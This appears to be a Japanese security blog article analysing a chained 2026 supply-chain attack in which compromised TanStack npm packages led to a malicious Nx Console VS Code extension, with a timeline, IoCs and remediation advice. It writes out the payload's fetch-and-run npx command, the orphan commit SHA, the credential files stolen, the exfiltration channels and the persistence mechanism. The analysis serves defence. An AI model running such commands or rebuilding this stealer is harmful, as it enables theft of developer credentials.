TanStack→Nx Console連鎖攻撃 CVE-2026-45321/48027、npm 84版汚染がVS Code拡張へ
2026年5月、npm『TanStack』42パッケージ84版が攻撃者に汚染(CVE-2026-45321)。流出したGitHub認証情報を使って5月18日にVS Code拡張『Nx Console』v18.95.0も悪意ある版で配信(CVE-2026-48027)。連鎖型サプライチェーン攻撃、両者ともCISA KEV登録済み。

堀川 慎
Backend Engineer / AWS / Django
2026年5月、npm『TanStack』42パッケージ84版が攻撃者に汚染(CVE-2026-45321)。流出したGitHub認証情報を使って5月18日にVS Code拡張『Nx Console』v18.95.0も悪意ある版で配信(CVE-2026-48027)。連鎖型サプライチェーン攻撃、両者ともCISA KEV登録済み。
2026年5月11日と5月18日に立て続けに観測された2つのサプライチェーン攻撃が、1本の連鎖した事件だったことが明らかになりました。CISAは2026年5月27日、両方のCVE——CVE-2026-45321(TanStack)とCVE-2026-48027(Nx Console)——をKnown Exploited Vulnerabilities(KEV)カタログに同日登録しました。
5月11日に発生したのが、Reactのルーティングライブラリで知られるTanStackのnpmパッケージ汚染。@tanstack/react-routerなど42パッケージ・84バージョンが、攻撃者によって悪意あるコードを仕込まれた状態で正規のnpmレジストリから配信されました。週12.7Mダウンロードを誇る人気パッケージが、わずか6分の公開時間で世界中に拡散しています。
そして5月18日、その流出した認証情報が次の攻撃に使われます。Nxが提供するVS Code拡張Nx Consoleのv18.95.0が、Visual Studio Marketplaceで11分間、Open VSXで36分間、悪意ある版として配信されました。インストールしたユーザーのGitHub認証情報、AWS認証情報、SSH秘密鍵、1Password Vault、Kubernetesトークン、さらには~/.claude/のClaude Code設定まで盗まれる構造です。
Snykは一連の攻撃を「Mini Shai-Hulud」と命名し、StepSecurityは攻撃者グループ「TeamPCP」によるものと分析しています。SocketとStepSecurityの連名解析、そしてTanStackとNx双方のポストモーテムから、2026年最大級のJavaScript/TypeScriptサプライチェーン攻撃の全貌が見えてきました。
何が起きたか:5月11日から5月18日までの7日間
時系列で整理すると、攻撃は2段階に分かれていました。第1段(TanStack)で得た認証情報を使って、第2段(Nx Console)で別のターゲットを汚染するという、計画的な多段攻撃です。
| 日時(UTC) | 出来事 | 影響 |
|---|---|---|
| 5/11 19:20 | TanStackのGitHub Actions パイプラインが攻撃者に乗っ取られる | 正規のOIDC トークンで悪意あるnpm配信 |
| 5/11 19:26 | 42パッケージ84バージョン公開完了 | router_init.jsを全パッケージに混入 |
| 5/11 19:46頃 | StepSecurity研究員ashishkurmiが検知 | 公開後20〜26分で警告 |
| 5/11 同日 | Nx貢献者が古いpnpm 10.14でpnpm install 実行 | prepare scriptで GitHub CLI OAuthトークン流出 |
| 5/11〜5/16 | 攻撃者が約5日4時間、 Nxリポジトリ内に潜伏 | orphan commit558b09d7 を作成 |
| 5/18 12:30 | Nx Console v18.95.0公開 (VS Code Marketplace) | 悪意あるVSIXがダウンロード可能に |
| 5/18 12:33 | Open VSXでも公開 | VSCodium/Cursor等にも拡散 |
| 5/18 12:41 | Nxメンテナが 通知メールに違和感、unpublish | VS Code Marketplaceで 11分後に撤去 |
| 5/18 13:09 | Open VSXからも撤去 | 公開36分で完全撤去 |
| 5/27 | CISA KEVへ 2件同時登録 | 米連邦機関への 修正期限カウントダウン |
公開時間はそれぞれ6分と11〜36分という短さですが、その間にダウンロードされたバージョンは世界中のCI/CDパイプラインで実行されたまま残り続けます。CryptikaとStrobesの続報では、Mistral AIやUiPathのメンテナーアカウントにも被害が拡大したと報告されています。
TanStackとNx Consoleとは何か
TanStackは、米国の開発者Tanner Linsleyが率いるOSS集合体で、Reactのデータ取得ライブラリTanStack Query(旧React Query)、ルーティングのTanStack Router、テーブル表示のTanStack Tableなどを提供しています。フレームワーク非依存設計で、ReactだけでなくVue、Solid、Svelte版も用意されているため、JavaScript系のWebアプリ開発者ならほぼ全員が直接または間接に使用しています。@tanstack/react-router単独で週1,270万ダウンロードという数字が、その普及度を示しています。
一方のNx Consoleは、Nrwl社(現Nx)が提供するNxモノレポツールのVS Code向けGUI拡張です。Nx自体は、大規模なJavaScript/TypeScriptプロジェクトを1つのリポジトリに集約する「モノレポ」を支援するツールで、Google、Microsoft、Roche、Capital Oneといった大手企業の社内開発基盤で使われています。Nx ConsoleはそのGUIを VS Code 内に提供し、StepSecurityの解析では累計220万インストールに達しています。
両者とも、最終ユーザーのWebアプリ開発者から、企業のCI/CDパイプライン、Nx Cloud契約の大企業まで、JavaScript/TypeScript周辺の開発現場を支える基幹OSSです。今回の攻撃が「狙い澄まされたサプライチェーン攻撃」と評される所以がここにあります。
CVE-2026-45321:TanStack npm 42パッケージ汚染
第1段の攻撃は、GitHub Actionsの設定不備3点を組み合わせた極めて洗練された手口でした。NVDの分類はCWE-506(悪意あるコードの埋め込み)、CVSS 9.6。
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-45321 |
| CVSS v3.1 | 9.6(緊急) |
| 影響パッケージ | 42個の@tanstack/*合計84バージョン |
| 攻撃手法 | pull_request_target Pwn Request + Actionsキャッシュポイズニング + OIDCトークンメモリ抽出 |
| 悪意あるファイル | router_init.js(約2.3MB、難読化済) |
| 公開時間 | 2026年5月11日 19:20〜19:26 UTC(6分) |
| 検知者 | ashishkurmi (StepSecurity) |
| 攻撃者 | TeamPCP (StepSecurity分類) |
| CISA KEV | 2026年5月27日登録 |
攻撃の核心は、GitHub Actionsのpull_request_targetトリガーの設定不備でした。これは「Pwn Request」と呼ばれる古典的な穴で、フォークからのプルリクが本家リポジトリの権限でCIを実行できてしまう状態を指します。攻撃者はフォーク経由でビルドキャッシュに細工し、本家のリリースパイプラインが起動した瞬間にキャッシュを汚染、さらにランナーのメモリから正規のnpm OIDCトークンを抽出して、TanStack本家のIDで悪意あるバージョンを公開しました。
特に注目すべきは、この攻撃が史上初めて「正規のSLSA provenance付き」で悪意あるnpmパッケージを配信した事案であることです。SLSAは、ビルドの来歴を暗号署名で証明する仕組みで、npm v9以降が標準対応しています。攻撃者は正規のCI環境を乗っ取ったため、そこから発行されるSLSA証明書も「本物」になり、署名検証では悪意あるパッケージを見抜けません。「サプライチェーン保証の最後の砦」と考えられていたprovenanceまで突破された、衝撃的な事案です。
router_init.jsは、AWS IMDS(メタデータサービス)、Secrets Manager、SSM Parameter Store、HashiCorp Vault、Kubernetesサービスアカウントトークンなどから認証情報を収集する「クレデンシャル収集エンジン」と、被害下流CIで自分自身を継続拡散する「ワーム伝播機構」を統合した構造でした。被害はMistral AIやUiPathのメンテナーアカウントを含む数十のOSSメンテナーに拡散したと報告されています。
CVE-2026-48027:流出した認証情報がNx Consoleへ
第2段は、第1段で漏れた「Nx貢献者のGitHub CLI OAuthトークン」を起点にしています。NVDの分類は同じくCWE-506、CVSS 9.3(v4.0)。
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-48027 |
| CVSS v4.0 | 9.3(緊急) |
| 影響バージョン | Nx Console v18.95.0(単一バージョン) |
| 修正バージョン | v18.100.0以降 |
| 配布元 | VS Code Marketplace Open VSX |
| 攻撃成立条件 | v18.95.0インストール かつワークスペースを開く |
| 影響範囲 | 活性化推定6,000件超 Nx CLI / Nx Cloud は対象外 |
| CISA KEV | 2026年5月27日登録 |
技術的なハイライトは3つあります。第一に、攻撃者はnrwl/nxリポジトリにorphan commit(どのブランチからも到達できないコミット)を作りました。SHAは558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2。497KBの難読化ドロッパーを忍ばせ、ブランチには現れない隠し置き場として使いました。コミット履歴の単純な走査では発見できず、SHAを知っている者だけがアクセスできる構造です。
第二に、悪意のあるVSIX本体はたった2,777バイトの追加コードでした。main.jsにこのバイトを混入し、起動時にnpx -y github:nrwl/nx#558b09d7を実行することで先のorphan commitの中身を取りに行く設計です。本体側のVSIXを軽量に保つことで、Microsoftの自動検査をすり抜けています。
第三に、ペイロードにはSigstore偽造機能が組み込まれていました。盗んだnpm OIDCトークンと組み合わせれば、攻撃者はSigstoreから正規の署名証明書を取得し、被害者のCI環境を起点にしてさらに「正規のSLSA provenance付き」悪意あるnpmパッケージを下流に再配信できる構造です。TanStack攻撃と同じ「provenance偽造」のキットが、Nx経由でさらに広く配布される段取りになっていたわけです。
何が盗まれるのか:認証情報の全カタログ
Nx Console v18.95.0が起動した直後に行うのが、開発者PCに保存されているありとあらゆる認証情報の収集です。StepSecurityの解析によると、攻撃の対象は6つの収集モジュールに整理されています。
| 収集対象 | 取得方法 |
|---|---|
| GitHub | ~/.config/gh/hosts.yml.git-credentials環境変数 + プロセスメモリスキャン |
| npm | OIDCトークン交換 (Trusted Publishing用) |
| AWS | IMDS / ECSメタデータ Secrets Manager / SSM |
| HashiCorp Vault | Kubernetes / AWS IAM 認証経由 |
| 1Password | CLIセッションが有効なら Vault全件抽出 |
| Kubernetes | サービスアカウントトークン |
| SSH / GPG | ~/.ssh/ 配下の秘密鍵 |
| Claude Code | ~/.claude/ 配下のAPI設定・履歴 |
| Docker / GCP | 設定ファイル全般 |
| アプリ接続情報 | 各種.env / 接続文字列 |
特筆すべきはClaude Code設定(~/.claude/)まで対象に含まれている点です。AIコーディングアシスタントの普及で、開発者のホームディレクトリにAI関連の認証情報や履歴が蓄積されるようになっていますが、攻撃者はそれをすでに「奪取すべき情報」のひとつとしてリストアップしています。これは2026年以降のサプライチェーン攻撃の新しい標的傾向を示しています。
流出した情報は3経路で攻撃者インフラに送信されました。HTTPS POST(暗号化C2ドメイン、ポート443)、GitHub API経由でリポジトリにコミットを作成、そしてDNSトンネリングを予備チャネルとして使用。データはAES-256-GCM+RSA-OAEPのハイブリッド暗号で守られており、ネットワーク監視で内容を覗き見ることはできません。
永続化の仕組みも巧妙です。macOSでは~/.local/share/kitty/cat.pyというPythonバックドアを設置し、LaunchAgentで再起動後も自動起動するよう仕込みます。バックドアは1時間ごとにGitHub Search APIへapi.github.com/search/commits?q=firedalazerのクエリを投げ、攻撃者が用意した署名付きコミットを「dead-drop」として受信、4096bit RSA公開鍵で署名検証してからコマンドを実行する設計です。攻撃者しか署名できないため、第三者が偽コマンドを送り込めないようにする慎重な設計になっています。
いますぐやるべきこと
1. Nx Console v18.95.0を使った可能性があれば、即座にIoC確認。 該当バージョンを5月18日 12:30〜13:09 UTCの間にインストール・更新した記憶があれば、以下のファイル・プロセスをチェックします。
- macOS:
~/.local/share/kitty/cat.py/~/Library/LaunchAgents/com.user.kitty-monitor.plist - Linux/macOS:
/var/tmp/.gh_update_state - Linux:
/etc/sudoersに身に覚えのない passwordless 設定 - 環境変数
__DAEMONIZED=1を持つプロセス - 名前に
kitty-が含まれる Python プロセス
2. 該当した場合、PC上のすべての認証情報をローテーション。 「ファイルを消すだけ」では足りません。GitHub PAT、SSH鍵、AWSアクセスキー、GCPキー、npm token、Vault token、Kubernetes service account token、1Password Vaultパスワード、Claude Code/Cursor等のAIアシスタント設定——文字通り全部の認証情報を新しい値に差し替えます。機密性が極めて高い環境ではマシン全体の再イメージ化が推奨されています。
3. TanStack依存プロジェクトのCIログを5月11日まで遡って確認。 自社のリポジトリで@tanstack/*を使っている場合、5月11日 19:20〜19:26 UTC以降のビルドで悪意あるバージョンを取り込んでいた可能性があります。package-lock.jsonのresolvedバージョンを確認し、汚染版にあたっていればCIワーカーの認証情報も流出している前提で点検します。
4. pnpmを10.16以降に上げる。 Nx貢献者の被害を生んだ直接の引き金は、pnpm 10.14がminimum-release-age=10080(公開から7日経過しないパッケージはインストール拒否)設定を黙って無視していたバグでした。pnpm 10.16以降ではこの設定が正しく動作します。「新しいバージョンを即時に取り込まない」は、サプライチェーン攻撃の即時影響を遮断する強力な防御策です。
5. GitHub Actionsのpull_request_targetトリガー設定を全社で監査。 TanStackの被害の根本原因は「Pwn Request」と呼ばれる古典的な穴です。フォーク経由PRに対してpull_request_targetを使い、かつ書き込み権限を持つ操作(npm publish、tag push、Action cache保存)を行うリポジトリは、即座に設定を見直す必要があります。GitHub Actionsの依存(uses: org/action@v1形式)も、フローティング参照ではなくSHAピン留めに切り替えます。
6. AIアシスタント設定の隔離を検討。 Claude Codeを含むAIコーディングアシスタントの設定ファイルが盗難対象になった意味は大きく、これらの設定は ~/.claude/等の予測可能な場所に置かれる傾向があります。社用APIキーは個人マシンの平文設定ではなく、社内SecretsマネージャやSSO経由の発行に切り替える検討が必要です。
「Mini Shai-Hulud」と呼ばれる理由:2025年のShai-Huludとの関係
Snykが今回の攻撃を「Mini Shai-Hulud」と命名しました。「Shai-Hulud」は、2025年9月に発生したnpm生態系を襲った大規模ワーム型サプライチェーン攻撃のコードネームで、当時は数百のnpmパッケージが連鎖感染しました。今回はその「縮小版」だが「より洗練された」攻撃という位置づけです。
2025年版との違いは、攻撃者TeamPCPが正規CI環境を経由した「provenance付き」攻撃に進化させた点です。2025年版が「メンテナーアカウントを乗っ取って公開」だったのに対し、2026年版は「正規パイプラインを乗っ取り、署名・provenance込みで公開」となりました。サプライチェーン保証の業界基準が一段引き上げられても、その上を行く攻撃が同時に発展している状況です。
本サイトでは、こうした連鎖型サプライチェーン攻撃の継続観測のため、OSSサプライチェーン・スキャナーを運用しています。自社で使っている@tanstack/*パッケージや、関連依存(Mistral AI、UiPath経路で汚染されたパッケージ)の現在の汚染状況をまとめて確認できます。CISA KEVへの登録履歴を含めた攻撃中CVE一覧はCISA KEVダッシュボード(日本語版)から追跡できます。
Nxのポストモーテムは、再発防止策として4点を挙げています。GitHub Actions環境による公開承認の必須化、GitHub監査ログの監視、GitHub ActionsのSHAピン留めの全社徹底、そしてpublisherの2人承認制。同種の対策をOSSメンテナンス側でも導入しないと、TanStack→Nxのような連鎖の3段目・4段目はいつでも起きる構造的脆さが残っています。
参照元
- ▸ NVD - CVE-2026-45321 Detail(TanStack)
- ▸ NVD - CVE-2026-48027 Detail(Nx Console)
- ▸ TanStack Blog - Postmortem: TanStack npm supply-chain compromise(公式ポストモーテム)
- ▸ Nx Blog - Nx Console v18.95.0 Postmortem(公式ポストモーテム)
- ▸ StepSecurity - Nx Console VS Code Extension Compromised
- ▸ Snyk - TanStack npm Packages Hit by Mini Shai-Hulud
- ▸ Socket - TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply Chain Attack
- ▸ Strobes - TanStack npm Supply Chain Attack: 170 Packages Compromised
- ▸ Cryptika - 84 TanStack npm Packages Hacked in Ongoing Supply-Chain Attack
- ▸ Rescana - TanStack npm Supply Chain Attack: Detailed Analysis
- ▸ GitHub - TanStack/router Issue #7383: Several npm latest releases were compromised
- ▸ CISA - Known Exploited Vulnerabilities Catalog